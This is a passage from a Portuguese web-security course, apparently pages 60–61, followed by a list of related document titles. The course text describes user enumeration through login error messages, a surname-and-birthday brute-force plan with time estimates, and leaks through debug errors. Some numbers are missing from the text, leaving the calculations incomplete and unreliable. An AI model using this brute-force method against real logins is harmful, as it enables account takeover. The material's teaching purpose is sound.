60 É possível notar a preocupação com SQL Injection através da utilização da função addslashes() do PHP. Contato, o programador fornece ao usuário mais informações que ele precisa. Se um usuário digitar um usuário e uma senha, e algum dos dois estiver errado, a aplicação exibe qual dos dois está errado, ou seja, se ele não encontrou o usuário especificado ou se a senha fornecida esta incorreta. Ai que temos o vazamento de informação. Um atacante hábil facilmente ver o possível vetor de ataque: um brute-force. Porém para brute-force precisa-se de dicionários com usuários e senhas (combolist). Se formos pegar os 200 sobrenomes mais comuns da língua portuguesa e prefixarmos cada um deles com uma letra do alfabeto (aalves, balves, calves, dalves...), teríamos exatamente possíveis usuários. Se para senha utilizássemos todos os possíveis aniversários DDMMAA desde 01/01/1960 até 31/12/2008, teríamos aproximadamente senhas possíveis. Se um atacante necessitasse de fazer um brute-force puro utilizando todos os possíveis usuários com todas as possíveis senhas, o mesmo teria que enviar mais de 91 milhões de requisições para o servidor (5.200 * = ). Levando em consideração que cada requisição demorasse aproximadamente 1 segundo (isso ainda é rápido), levaria nada mais nada menos do que um pouco menos de 3 anos para terminar todos as possibilidades. Porém, através da descoberta do vazamento de informação, um atacante divide o ataque. Inicialmente ele desenvolve um programa em sua linguagem preferida que efetue as requisições com todos os usuários, se na resposta ele encontra algo como Usuário Inválido ele simplesmente descarta o usuário e passa para o próximo. Com isto, ele consegue enumerar possíveis usuários do sistema. E isto ele faria em menos de 1h30 (5.200 com uma requisição por segundo dura aproximadamente 1 hora e 27 minutos). Se com isto ele encontrar, por exemplo, 5 (cinco) usuários validos, ao fazer o brute-force com as senhas, ele demoraria um pouco mais de 24 horas (5 * = tentativas. Com uma tentativa por segundo leva aproximadamente 24h e 8 minutos) Segundo Exemplo Mensagens de Erro É comum vermos mensagens de erros de depuração de auxilio ao desenvolvedor sendo enviado ao usuário. Com estas mensagens obtivemos comandos SQL ou pelo menos parte deles, fluxo de execução (stack trace). Um exemplo de Vazamento de Informação pelo não tratamento de erros pode ser visto na figura abaixo: Página 60 Curso de Extensão Tecnológica de Segurança em Web

61 É possível notar o nome de dois campos. Além disto, é possível saber que não existe qualquer padrão de nomenclatura, ou seja, frequentemente vê-se tabelas com prefixo tbl, tab_ etc. Além de campos com prefixo int, str, usu_ etc pra representar seu tipo. Com isto é possível saber auxiliar um ataque de brute-force caso não exista ou não se tenha permissão ao INFORMATION_SCHEMA. Solução Não existe uma solução objetiva para as vulnerabilidades de Vazamento de Informação. Uma alternativa seria a boa prática de desenvolvimento seguro, de maneira a ficar adaptado aos possíveis furos que um atacante tiraria proveito, podendo assim evitá-los. Uma alternativa (recomendada pela OWASP) seria utilizar ferramentas de auditoria como WebScarab da OWASP, que força suas aplicações a gerarem erros, podendo assim estabilizá-lo antes que um atacante o encontre e tire proveito. No caso do PHP, através da diretiva error_reporting no php.ini é possível definir quais erros e alertas serão enviadas para o usuário. Para não exibir qualquer erro ao usuário basta alterar o valor da variável error_reporting no php.ini como segue: error_reporting ~E_ALL Curso de Extensão Tecnológica de Segurança em Web Página 61

Segurança em Web Aula 2

Segurança em Web Aula 2 Open Web Application Security Project Segurança em Web Aula 2 Maycon Maia Vitali ( 0ut0fBound ) maycon@hacknroll.com Hack n Roll Centro Universitário Vila Velha Agenda Revisão da Última Aula SQL Injection

Leia mais

Segurança em Web Aula 1

Segurança em Web Aula 1 Open Web Application Security Project Segurança em Web Aula 1 Maycon Maia Vitali ( 0ut0fBound ) maycon@hacknroll.com Hack n Roll Centro Universitário Vila Velha Agenda Sobre o Instrutor Objetivos do Curso

Leia mais

Análise de Vulnerabilidades em Aplicações WEB

Análise de Vulnerabilidades em Aplicações WEB Análise de Vulnerabilidades em Aplicações WEB Apresentação Luiz Vieira Construtor 4Linux Analista e Consultor de Segurança 15 anos de experiência em TI Pen-Tester Articulista sobre Segurança de vários

Leia mais

Boas Práticas de Desenvolvimento Seguro

Boas Práticas de Desenvolvimento Seguro Boas Práticas de Desenvolvimento Seguro Julho / 2.012 Histórico de Revisões Data Versão Descrição Autor 29/07/2012 1.0 Versão inicial Ricardo Kiyoshi Página 2 de 11 Conteúdo 1. SEGURANÇA DA INFORMAÇÃO

Leia mais

O atacante pode roubar a sessão de um usuário legítimo do sistema, que esteja previamente autenticado e realizar operações que o mesmo poderia.

O atacante pode roubar a sessão de um usuário legítimo do sistema, que esteja previamente autenticado e realizar operações que o mesmo poderia. Explorando e tratando a falha de Cross-site-scripting (XSS) 1 D E D E Z E M B R O D E 2 0 1 5 Muito pouco falada e com alto nível crítico dentro das vulnerabilidades relatadas, o Cross-site-scripting (XSS)

Leia mais

Segurança em Sistemas Web. Addson A. Costa

Segurança em Sistemas Web. Addson A. Costa Segurança em Sistemas Web Addson A. Costa Spoofing de formulários Spoofing consiste em falsificação, por exemplo, na área de redes um computador pode roubar o IP de outro e assim fazer-se passar por ele.

Leia mais

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1 Segurança na Web Capítulo 9: Segurança em Aplicações Web Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW Page 1 Introdução Quando se fala em segurança na WEB é preciso pensar inicialmente em duas frentes:

Leia mais

Top Ten OWASP. Fausto Levandoski 1. Curso Tecnólogo em Segurança da Informação Av. Unisinos, 950 93.022-000 São Leopoldo RS Brasil. farole@gmail.

Top Ten OWASP. Fausto Levandoski 1. Curso Tecnólogo em Segurança da Informação Av. Unisinos, 950 93.022-000 São Leopoldo RS Brasil. farole@gmail. Top Ten OWASP Fausto Levandoski 1 1 Universidade do Vale do Rios dos Sinos (UNISINOS) Curso Tecnólogo em Segurança da Informação Av. Unisinos, 950 93.022-000 São Leopoldo RS Brasil farole@gmail.com Abstract.

Leia mais

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA Sumário Construção de sistema Administrativo... 1 Sistema de Login... 2 SQL INJECTION... 2 Técnicas para Evitar Ataques... 2 Formulário de Login e Senha fará parte do DEFAULT... 5 LOGAR... 5 boas... 6

Leia mais

Desenvolvimento e disponibilização de Conteúdos para a Internet

Desenvolvimento e disponibilização de Conteúdos para a Internet Desenvolvimento e disponibilização de Conteúdos para a Internet Por Matheus Orion OWASP A Open Web Application Security Project (OWASP) é uma entidade sem fins lucrativos e de reconhecimento internacional,

Leia mais

Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL):

Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL): Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL): Nos últimos anos uma das vulnerabilidades mais exploradas por usuários mal-intencionados é a injeção de SQL, onde o atacante realiza uma

Leia mais

Tolerância a Falhas em sistemas distribuídos (programação)

Tolerância a Falhas em sistemas distribuídos (programação) Tolerância a Falhas em sistemas distribuídos (programação) Arthur Zavattieri Cano Lopes Curso de Redes e Segurança de Sistemas Pontifícia Universidade Católica do Paraná Curitiba, Maio de 2009. Resumo

Leia mais

Recomendações de Segurança para Desenvolvimento de Aplicações Web

Recomendações de Segurança para Desenvolvimento de Aplicações Web Recomendações de Segurança para Desenvolvimento de Aplicações Web Índice 1. INTRODUÇÃO...3 1.1 CONTROLE DE VERSÃO...3 1.2 OBJETIVO...3 1.3 PÚBLICO - ALVO...4 2 VULNERABILIDADES COMUNS...4 2.1 INJEÇÃO DE

Leia mais

Fonte: http://www.online-security-solution.com/ - Illustration by Gaich Muramatsu

Fonte: http://www.online-security-solution.com/ - Illustration by Gaich Muramatsu Fonte: http://www.online-security-solution.com/ - Illustration by Gaich Muramatsu Prof. Hederson Velasco Ramos Uma boa maneira de analisar ameaças no nível dos aplicativo é organiza las por categoria de

Leia mais

Segurança em PHP. Márcio Pessoa. Desenvolva programas PHP com alto nível de segurança e aprenda como manter os servidores web livres de ameaças

Segurança em PHP. Márcio Pessoa. Desenvolva programas PHP com alto nível de segurança e aprenda como manter os servidores web livres de ameaças Segurança em PHP Desenvolva programas PHP com alto nível de segurança e aprenda como manter os servidores web livres de ameaças Márcio Pessoa Novatec capítulo 1 Conceitos gerais No primeiro capítulo serão

Leia mais

Segurança da Informação

Segurança da Informação Segurança da Informação Segurança e Vulnerabilidades em Aplicações Web jobona@terra.com.br Definição: Segurança Segundo o dicionário da Wikipédia, o termo segurança significa: 1. Condição ou estado de

Leia mais

Construindo uma aplicação PHP à Prova de Balas

Construindo uma aplicação PHP à Prova de Balas Construindo uma aplicação PHP à Prova de Balas Rafael Jaques FISL 11 - Porto Alegre - 24/07/10 Buscai primeiro o reino do Senhor e a sua justiça, e todas as demais coisas vos serão acrescentadas (Mateus

Leia mais

Entendendo Injeção de SQL

Entendendo Injeção de SQL Entendendo Injeção de SQL Autor K4m1k451 < k4m1k451@gmail.com bere_bad@hotmail.com > 18/05/2009 Sumário: ---[ 0x00 Introdução... 4 ---[ 0x01 Desmistificando as single quotes... 4 ---[ 0x02 Injetando...

Leia mais

Segurança na WEB Ambiente WEB estático

Segurança na WEB Ambiente WEB estático Segurança de Redes Segurança na WEB Prof. Rodrigo Rocha prof.rodrigorocha@yahoo.com Servidor IIS Apache Cliente Browser IE FireFox Ambiente WEB estático 1 Ambiente Web Dinâmico Servidor Web Cliente Navegadores

Leia mais

Construindo uma aplicação PHP à Prova de Balas

Construindo uma aplicação PHP à Prova de Balas Construindo uma aplicação PHP à Prova de Balas Rafael Jaques TcheLinux - Porto Alegre - 14/11/09 Buscai primeiro o reino do Senhor e a sua justiça, e todas as demais coisas vos serão acrescentadas (Mateus

Leia mais

Aplicação web protegida

Aplicação web protegida Sua aplicação web é segura? SEGURANÇA Aplicação web protegida Aplicações web oferecem grandes riscos à segurança. Aprenda a proteger todos os elementos dessa complexa equação. por Celio de Jesus Santos

Leia mais

Março/2005 Prof. João Bosco M. Sobral

Março/2005 Prof. João Bosco M. Sobral Plano de Ensino Introdução à Segurança da Informação Princípios de Criptografia Segurança de Redes Segurança de Sistemas Símbolos: S 1, S 2,..., S n Um símbolo é um sinal (algo que tem um caráter indicador)

Leia mais

Segurança na Web. André Tavares da Silva. andre.silva@udesc.br

Segurança na Web. André Tavares da Silva. andre.silva@udesc.br Segurança na Web André Tavares da Silva andre.silva@udesc.br Propósito da Segurança A segurança não é usada simplesmente para proteger contra ataques diretos mas é essencial para estabelecer credibilidade/confiança

Leia mais

Segurança em aplicações web: pequenas ideias, grandes resultados Prof. Alex Camargo alexcamargoweb@gmail.com

Segurança em aplicações web: pequenas ideias, grandes resultados Prof. Alex Camargo alexcamargoweb@gmail.com UNIVERSIDADE FEDERAL DO PAMPA CAMPUS BAGÉ ENGENHARIA DE COMPUTAÇÃO Segurança em aplicações web: pequenas ideias, grandes resultados alexcamargoweb@gmail.com Sobre o professor Formação acadêmica: Bacharel

Leia mais

Programação Orientada a Objetos com PHP & MySQL Cookies e Sessões. Prof. MSc. Hugo Souza

Programação Orientada a Objetos com PHP & MySQL Cookies e Sessões. Prof. MSc. Hugo Souza Programação Orientada a Objetos com PHP & MySQL Cookies e Sessões Prof. MSc. Hugo Souza Se você precisar manter informações sobre seus usuários enquanto eles navegam pelo seu site, ou até quando eles saem

Leia mais

XSS - CROSS-SITE SCRIPTING

XSS - CROSS-SITE SCRIPTING Segurança XSS - CROSS-SITE SCRIPTING XSS - CROSS-SITE SCRIPTING Vamos supor a seguinte situação: O site ingenuo.com tem um fórum As pessoas escrevem comentários nesse fórum e eles são salvos diretamente

Leia mais

Injeção de SQL - Detecção de evasão

Injeção de SQL - Detecção de evasão Injeção de SQL - Detecção de evasão Resumo A detecção dos ataques de injeção de SQL era feita inicialmente com o uso de técnicas de reconhecimento de padrões, verificados contra assinaturas e palavraschave

Leia mais

(In)Segurança em Aplicações Web. Marcelo Mendes Marinho mmarinho@br.ibm.com Thiago Canozzo Lahr tclahr@br.ibm.com

(In)Segurança em Aplicações Web. Marcelo Mendes Marinho mmarinho@br.ibm.com Thiago Canozzo Lahr tclahr@br.ibm.com (In)Segurança em Aplicações Web Marcelo Mendes Marinho mmarinho@br.ibm.com Thiago Canozzo Lahr tclahr@br.ibm.com Agenda Introdução Porque segurança em aplicações é prioridade? Principais causas de vulnerabilidades

Leia mais

Segurança da Internet. Ricardo Terra (rterrabh [at] gmail.com) Segurança da Internet Outubro, 2013 2012 1

Segurança da Internet. Ricardo Terra (rterrabh [at] gmail.com) Segurança da Internet Outubro, 2013 2012 1 Segurança da Internet Ricardo Terra rterrabh [at] gmail.com Outubro, 2013 2012 1 CV Nome: Ricardo Terra Email: rterrabh [at] gmail.com www: ricardoterra.com.br Twitter: rterrabh Lattes: lattes.cnpq.br/

Leia mais

Algumas Leis da Segurança

Algumas Leis da Segurança Algumas Leis da Segurança Marcos Aurelio Pchek Laureano laureano@ppgia.pucpr.br Roteiro Leis Fundamentais Leis Imutáveis Seus significados Sua Importância 2 Algumas Leis da Segurança As leis Fundamentais

Leia mais

Blinde seu caminho contra as ameaças digitais. Manual do Produto. Página 1

Blinde seu caminho contra as ameaças digitais. Manual do Produto. Página 1 ] Blinde seu caminho contra as ameaças digitais Manual do Produto Página 1 O Logon Blindado é um produto desenvolvido em conjunto com especialistas em segurança da informação para proteger os clientes

Leia mais

Ameaças, riscos e vulnerabilidades Cont. Objetivos

Ameaças, riscos e vulnerabilidades Cont. Objetivos Ameaças, riscos e vulnerabilidades Cont. Prof. Esp. Anderson Maia E-mail: tecnologo.maia@gmail.com Objetivos entender a definição dos termos hacker, cracker e engenharia social; compreender a anatomia

Leia mais

Ferramenta: Spider-CL. Manual do Usuário. Versão da Ferramenta: 1.1. www.ufpa.br/spider

Ferramenta: Spider-CL. Manual do Usuário. Versão da Ferramenta: 1.1. www.ufpa.br/spider Ferramenta: Spider-CL Manual do Usuário Versão da Ferramenta: 1.1 www.ufpa.br/spider Histórico de Revisões Data Versão Descrição Autor 14/07/2009 1.0 15/07/2009 1.1 16/07/2009 1.2 20/05/2010 1.3 Preenchimento

Leia mais

Desenvolvimento e disponibilização de Conteúdos para a Internet

Desenvolvimento e disponibilização de Conteúdos para a Internet Desenvolvimento e disponibilização de Conteúdos para a Internet Por Matheus Orion Principais tecnologias front-end HTML CSS JAVASCRIPT AJAX JQUERY FLASH JAVA APPLET Linguagens que executam no cliente HTML

Leia mais

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Enginner

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Enginner Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Enginner Objetivo Disseminar boas práticas para o desenvolvimento de código seguro em php. Exemplificar como são feitos os ataques e suas respectivas

Leia mais

Campus Party 2016 São Paulo, SP 27 de janeiro de 2016

Campus Party 2016 São Paulo, SP 27 de janeiro de 2016 Campus Party 2016 São Paulo, SP 27 de janeiro de 2016 WORKSHOP: Programação segura para WEB Dionathan Nakamura nakamura@cert.br Agenda 14:15 16:00 10-20 min: configuração inicial 30-45 min: parte teórica

Leia mais

CEETEPS Centro Estadual de Educação Tecnológica Paula Souza FATEC Faculdade de Tecnologia de Ourinhos Análise de Sistemas e Tecnologias da Informação

CEETEPS Centro Estadual de Educação Tecnológica Paula Souza FATEC Faculdade de Tecnologia de Ourinhos Análise de Sistemas e Tecnologias da Informação 1 CEETEPS Centro Estadual de Educação Tecnológica Paula Souza FATEC Faculdade de Tecnologia de Ourinhos Análise de Sistemas e Tecnologias da Informação Autores: Edenilson de Melo, Fábio Cristiano Silva

Leia mais

Programando em PHP. Conceitos Básicos

Programando em PHP. Conceitos Básicos Programando em PHP www.guilhermepontes.eti.br lgapontes@gmail.com Conceitos Básicos Todo o escopo deste estudo estará voltado para a criação de sites com o uso dos diversos recursos de programação web

Leia mais

Blinde seu caminho contra as ameaças digitais. Manual do Produto. Página 1

Blinde seu caminho contra as ameaças digitais. Manual do Produto. Página 1 ] Blinde seu caminho contra as ameaças digitais Manual do Produto Página 1 O Logon Blindado é um produto desenvolvido em conjunto com especialistas em segurança da informação para proteger os clientes

Leia mais

TECNOLOGIA WEB. Segurança na Internet Aula 4. Profa. Rosemary Melo

TECNOLOGIA WEB. Segurança na Internet Aula 4. Profa. Rosemary Melo TECNOLOGIA WEB Segurança na Internet Aula 4 Profa. Rosemary Melo Segurança na Internet A evolução da internet veio acompanhada de problemas de relacionados a segurança. Exemplo de alguns casos de falta

Leia mais

Proposta de pentest. O pentest realizado vai desde ataques aos servidores até testes na programação das aplicações com tentativas reais de invasão;

Proposta de pentest. O pentest realizado vai desde ataques aos servidores até testes na programação das aplicações com tentativas reais de invasão; initsec Proposta de pentest 1. O que é? Pentest (Penetration Test) é uma avaliação de maneira realista da segurança empregada em aplicações web e infraestruturas de TI no geral. O Pentest constitui da

Leia mais

PSQT Prêmio SESI Qualidade no Trabalho

PSQT Prêmio SESI Qualidade no Trabalho ANEXO II PSQT Prêmio SESI Qualidade no Trabalho Manutenção Evolutiva Modelo: 4.0 Sistema Indústria, 2008 Página 1 de 18 Histórico da Revisão Data Descrição Autor 06/12/2007 Necessidades para atualização

Leia mais

Manual do Instar Mail Sumário

Manual do Instar Mail Sumário Manual do Instar Mail Sumário 1 - Apresentação do sistema... 2 2 - Menu cliente... 2 3 - Menu Importação... 5 4 - Menu Campanhas... 9 5 - Menu banco de arquivos... 16 6 - Menu agendamento... 16 7 - Menu

Leia mais

Para testar seu primeiro código utilizando PHP, abra um editor de texto (bloco de notas no Windows) e digite o código abaixo:

Para testar seu primeiro código utilizando PHP, abra um editor de texto (bloco de notas no Windows) e digite o código abaixo: Disciplina: Tópicos Especiais em TI PHP Este material foi produzido com base nos livros e documentos citados abaixo, que possuem direitos autorais sobre o conteúdo. Favor adquiri-los para dar continuidade

Leia mais

ANDRÉ ALENCAR 1 INFORMÁTICA INTERNET EXPLORER 9

ANDRÉ ALENCAR 1 INFORMÁTICA INTERNET EXPLORER 9 ANDRÉ ALENCAR 1 INFORMÁTICA INTERNET EXPLORER 9 1. JANELA PADRÃO Importante: O Internet Explorer não pode ser instalado no Windows XP. 2. INTERFACE MINIMALISTA Seguindo uma tendência já adotada por outros

Leia mais

Controle de acesso. http://www.larback.com.br. .com.br

Controle de acesso. http://www.larback.com.br. .com.br http://www.larback Controle de acesso Construiremos um sistema simples para cadastro de links. O sistema terá uma página pública (onde serão exibidos os links) e uma área administrativa, onde os usuários

Leia mais

Andarta - Guia de Instalação. Guia de Instalação

Andarta - Guia de Instalação. Guia de Instalação Guia de Instalação 29 de setembro de 2010 1 Sumário Introdução... 3 Os Módulos do Andarta... 4 Instalação por módulo... 6 Módulo Andarta Server... 6 Módulo Reporter... 8 Módulo Agent... 9 Instalação individual...

Leia mais

Aula 4 WEB 2.0. 1. Conceito

Aula 4 WEB 2.0. 1. Conceito Centro Universitário de Volta Redonda - UniFOA Curso Tecnológico de Redes de Computadores 5º período Disciplina: Tecnologia WEB Professor: José Maurício S. Pinheiro V. 2009-2 Aula 4 WEB 2.0 Web 2.0 é um

Leia mais

Segurança em Aplicações Web Metodologia OWASP

Segurança em Aplicações Web Metodologia OWASP Segurança em Aplicações Web Metodologia OWASP Weekly Seminar Lucas Vinícius da Rosa Laboratório de Segurança em Computação () Universidade Federal de Santa Catarina (UFSC) lvrosa@inf.ufsc.br 2012 Sumário

Leia mais

Scriptlets e Formulários

Scriptlets e Formulários 2 Scriptlets e Formulários Prof. Autor: Daniel Morais dos Reis e-tec Brasil Programação Avançada Para Web Página1 Meta Permitir ao aluno aprender a criar um novo projeto Java para web no Netbeans IDE,

Leia mais

Vamos iniciar a nossa exploração do HTTP baixando um arquivo em HTML simples - bastante pequeno, que não contém objetos incluídos.

Vamos iniciar a nossa exploração do HTTP baixando um arquivo em HTML simples - bastante pequeno, que não contém objetos incluídos. Wireshark Lab: HTTP Versão 1.1 2005 KUROSE, J.F & ROSS, K. W. Todos os direitos reservados 2008 BATISTA, O. M. N. Tradução e adaptação para Wireshark. Tendo molhado os nossos pés com o Wireshark no laboratório

Leia mais

Segurança no Desenvolvimento de Aplicações Web. Security in Web Applications Development

Segurança no Desenvolvimento de Aplicações Web. Security in Web Applications Development Segurança no Desenvolvimento de Aplicações Web Security in Web Applications Development Jonas Alves de Oliveira 1 Leonardo Luiz Teodoro Campos 2 Cristiano Antônio Rocha Silveira Diniz 3 Resumo: Este artigo

Leia mais

PHP Seguro Ernani Azevedo (PROCERGS DRE/ARS Unix)

PHP Seguro Ernani Azevedo (PROCERGS DRE/ARS Unix) PHP Seguro Ernani Azevedo (PROCERGS DRE/ARS Unix) 1 Introdução A linguagem PHP, por ser muito flexível, normalmente é utilizada de forma insegura, tanto pelo desenvolvedor quanto pelos administradores

Leia mais

As doze maiores ameaças do mercado intermediário: evitando ataques maliciosos comuns em nível de aplicativo.

As doze maiores ameaças do mercado intermediário: evitando ataques maliciosos comuns em nível de aplicativo. Gerenciamento de segurança on-line White paper Dezembro de 2007 As doze maiores ameaças do mercado intermediário: evitando ataques maliciosos comuns Página 2 Conteúdo 2 Introdução 3 Compreendendo ataques

Leia mais

Segurança da Informação Segurança de Redes Segurança de Sistemas Segurança de Aplicações

Segurança da Informação Segurança de Redes Segurança de Sistemas Segurança de Aplicações Segurança da Informação Segurança de Redes Segurança de Sistemas Segurança de Aplicações Símbolos Símbolos: S 1, S 2,..., S n Um símbolo é um sinal (algo que tem um caráter indicador) que tem uma determinada

Leia mais

Faça um Site PHP 5.2 com MySQL 5.0 Comércio Eletrônico

Faça um Site PHP 5.2 com MySQL 5.0 Comércio Eletrônico Editora Carlos A. J. Oliviero Faça um Site PHP 5.2 com MySQL 5.0 Comércio Eletrônico Orientado por Projeto 1a Edição 2 Reimpressão São Paulo 2011 Érica Ltda. Noções Livrarse Preparação muitas muita Sumário

Leia mais

1 SQL Injection A consulta normal SQL seria:

1 SQL Injection A consulta normal SQL seria: HTTP Testando aplicação Web. Pegaremos dois tipos de ataques dentre os top 10 do OWASP 1 SQL Injection A consulta normal SQL seria: SELECT * FROM Users WHERE Username='$username' AND Password='$password'

Leia mais

VULNERABILIDADES WEB v.2.2

VULNERABILIDADES WEB v.2.2 VULNERABILIDADES WEB v.2.2 $ whoami Sgt NILSON Sangy Computer Hacking Forensic Investigator Analista de Segurança da Informação Guerreiro Cibernético $ ls -l /etc 1. Contextualização 2. OWASP 2.1. Injeção

Leia mais

Utilizaremos a última versão estável do Joomla (Versão 2.5.4), lançada em

Utilizaremos a última versão estável do Joomla (Versão 2.5.4), lançada em 5 O Joomla: O Joomla (pronuncia-se djumla ) é um Sistema de gestão de conteúdos (Content Management System - CMS) desenvolvido a partir do CMS Mambo. É desenvolvido em PHP e pode ser executado no servidor

Leia mais

MANUAL PARA USO DO SISTEMA GCO Gerenciador Clínico Odontológico

MANUAL PARA USO DO SISTEMA GCO Gerenciador Clínico Odontológico MANUAL PARA USO DO SISTEMA GCO Gerenciador Clínico Odontológico O GCO é um sistema de controle de clínicas odontológicas, onde dentistas terão acesso a agendas, fichas de pacientes, controle de estoque,

Leia mais

Prof. Demétrios Coutinho

Prof. Demétrios Coutinho Prof. Demétrios Coutinho Hoje em dia a informação é o bem mais valioso de uma empresa/cliente. A segurança da informação é um conjunto de medidas que se constituem basicamente de controles e política de

Leia mais

Conceitos de extensões Joomla!

Conceitos de extensões Joomla! capítulo 1 Conceitos de extensões Joomla! Entendendo o que é extensão Extensão pode ser entendida como uma pequena aplicação desenvolvida com regras de construção estabelecidas pelo ambiente Joomla!. É

Leia mais

3. ( ) Para evitar a contaminação de um arquivo por vírus, é suficiente salvá-lo com a opção de compactação.

3. ( ) Para evitar a contaminação de um arquivo por vírus, é suficiente salvá-lo com a opção de compactação. 1. Com relação a segurança da informação, assinale a opção correta. a) O princípio da privacidade diz respeito à garantia de que um agente não consiga negar falsamente um ato ou documento de sua autoria.

Leia mais

Algoritmos em Javascript

Algoritmos em Javascript Algoritmos em Javascript Sumário Algoritmos 1 O que é um programa? 1 Entrada e Saída de Dados 3 Programando 4 O que é necessário para programar 4 em JavaScript? Variáveis 5 Tipos de Variáveis 6 Arrays

Leia mais

Geração e execução de scripts de teste em aplicações web a partir de casos de uso direcionados por comportamento 64

Geração e execução de scripts de teste em aplicações web a partir de casos de uso direcionados por comportamento 64 direcionados por comportamento 64 5 Estudo de caso Neste capítulo serão apresentadas as aplicações web utilizadas na aplicação da abordagem proposta, bem como a tecnologia em que foram desenvolvidas, o

Leia mais

Área de Administração

Área de Administração Área de Administração versão 1.1 Partir de 2012/01/14 aplica-se para a versão phpcontact 1.2.x www.phpcontact.net Geral A área de administração é utilizado para uma fácil configuração do software elaboraçao

Leia mais

Comunicado Técnico 14

Comunicado Técnico 14 Comunicado Técnico 14 ISSN 2177-854X Agosto. 2011 Uberaba - MG SPYWARE Instruções Técnicas Responsáveis: Danilo Guardieiro Lima E-mail: daniloglima@terra.com.br Especialista em redes de computadores, Professor

Leia mais

Troubleshooting Versão 1.0

Troubleshooting Versão 1.0 Troubleshooting Versão 1.0 As informações contidas neste documento estão sujeitas a alteração sem notificação prévia. Os dados utilizados nos exemplos contidos neste manual são fictícios. Nenhuma parte

Leia mais

Nomes: João Lucas Baltazar, Lucas Correa, Wellintom Borges e Willian Roque. CAPITULO 4- Segurança de Aplicações.

Nomes: João Lucas Baltazar, Lucas Correa, Wellintom Borges e Willian Roque. CAPITULO 4- Segurança de Aplicações. Nomes: João Lucas Baltazar, Lucas Correa, Wellintom Borges e Willian Roque CAPITULO 4- Segurança de Aplicações. Fragilidades na camada de aplicação Hoje em dia existe um número de aplicativos imenso, então

Leia mais

jshield Uma Proposta para Segurança de Aplicações Web

jshield Uma Proposta para Segurança de Aplicações Web jshield Uma Proposta para Segurança de Aplicações Web Márcio A. Macêdo¹, Ricardo G. Queiroz¹ ¹Centro de Ensino Unificado de Teresina (CEUT) Teresina, PI Brasil. marcioalmeida@ceut.com.br, ricardoqueiroz@ieee.org

Leia mais

Daniel Moreno. Novatec

Daniel Moreno. Novatec Daniel Moreno Novatec Novatec Editora Ltda. 2015. Todos os direitos reservados e protegidos pela Lei 9.610 de 19/02/1998. É proibida a reprodução desta obra, mesmo parcial, por qualquer processo, sem prévia

Leia mais

Guia de Integração para Transferência

Guia de Integração para Transferência Guia de Integração para Transferência Índice Capítulo 1... 3 Introdução... 3 Capítulo 2... 4 Links de Pagamento... 4 Capítulo 3... 5 Configurando o Gerenciador de Compras... 5 Capítulo 4... 7 Fluxo de

Leia mais

PHP & Segurança: Uma União Possível

PHP & Segurança: Uma União Possível PHP & Segurança: Uma União Possível v. 2.1 Abril/2007 Objetivo: Esta apresentação tem por objetivo apresentar técnicas para o desenvolvimento de aplicações seguras utilizando a linguagem PHP, eliminando

Leia mais

[MANUAL DE INTEGRAÇÃO PARA SITES DE MEMBROS]

[MANUAL DE INTEGRAÇÃO PARA SITES DE MEMBROS] 2011 [MANUAL DE INTEGRAÇÃO PARA SITES DE MEMBROS] Destinado a usuários que desejam vender conteúdo premium, disponível em sites de membros, através da plataforma Hotmart. Versão do documento: 1.0, 11/04/2011.

Leia mais

Programação WEB II. PHP e Banco de Dados. progweb2@thiagomiranda.net. Thiago Miranda dos Santos Souza

Programação WEB II. PHP e Banco de Dados. progweb2@thiagomiranda.net. Thiago Miranda dos Santos Souza PHP e Banco de Dados progweb2@thiagomiranda.net Conteúdos Os materiais de aula, apostilas e outras informações estarão disponíveis em: www.thiagomiranda.net PHP e Banco de Dados É praticamente impossível

Leia mais

DESENVOLVIMENTODE APLICAÇÕESPARAINTERNET:PHP. VitorFariasCoreia

DESENVOLVIMENTODE APLICAÇÕESPARAINTERNET:PHP. VitorFariasCoreia DESENVOLVIMENTODE APLICAÇÕESPARAINTERNET:PHP VitorFariasCoreia INFORMAÇÃOECOMUNICAÇÃO Autor Vitor Farias Correia Graduado em Sistemas de Informação pela FACITEC e especialista em desenvolvimento de jogos

Leia mais

Descrição de Ataques XSS em servidores Web

Descrição de Ataques XSS em servidores Web ABSTRACT Descrição de Ataques XSS em servidores Web Leonardo Santos Silva São Paulo, Brasil Com a proliferação de sítios web e a incapacidade dos desenvolvedores em manter um código atualizado contra os

Leia mais

Curso de Tecnologia em Redes de Computadores Auditoria e Análise de Segurança da Informação - 4º período Professor: José Maurício S.

Curso de Tecnologia em Redes de Computadores Auditoria e Análise de Segurança da Informação - 4º período Professor: José Maurício S. Disciplina: Curso de Tecnologia em Redes de Computadores Auditoria e Análise de Segurança da Informação - 4º período Professor: José Maurício S. Pinheiro AULA 4: Trilhas de Auditoria Existe a necessidade

Leia mais

Características do PHP. Começando a programar

Características do PHP. Começando a programar PHP Introdução Olá pessoal. Desculpe o atraso na publicação da aula. Pude perceber pelas respostas (poucas) ao fórum que a realização da atividade do módulo I foi relativamente tranquila. Assistam ao vídeo

Leia mais

ARTIGO CIÊNTIFICO ENGENHARIA REVERSA

ARTIGO CIÊNTIFICO ENGENHARIA REVERSA ARTIGO CIÊNTIFICO ENGENHARIA REVERSA Nicollas Fernandes Ricas Profª: Ieda Maria Brighenti RESUMO A engenharia reversa consiste em reverter um programa binário para código-fonte onde se é possível fazer

Leia mais

Desenvolvendo para WEB

Desenvolvendo para WEB Nível - Básico Desenvolvendo para WEB Por: Evandro Silva Neste nosso primeiro artigo vamos revisar alguns conceitos que envolvem a programação de aplicativos WEB. A ideia aqui é explicarmos a arquitetura

Leia mais

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Engineer douglas.pasqua@gmail.com

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Engineer douglas.pasqua@gmail.com Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Engineer douglas.pasqua@gmail.com Objetivo Disseminar boas práticas para o desenvolvimento de código seguro em php. Exemplificar como são feitos

Leia mais

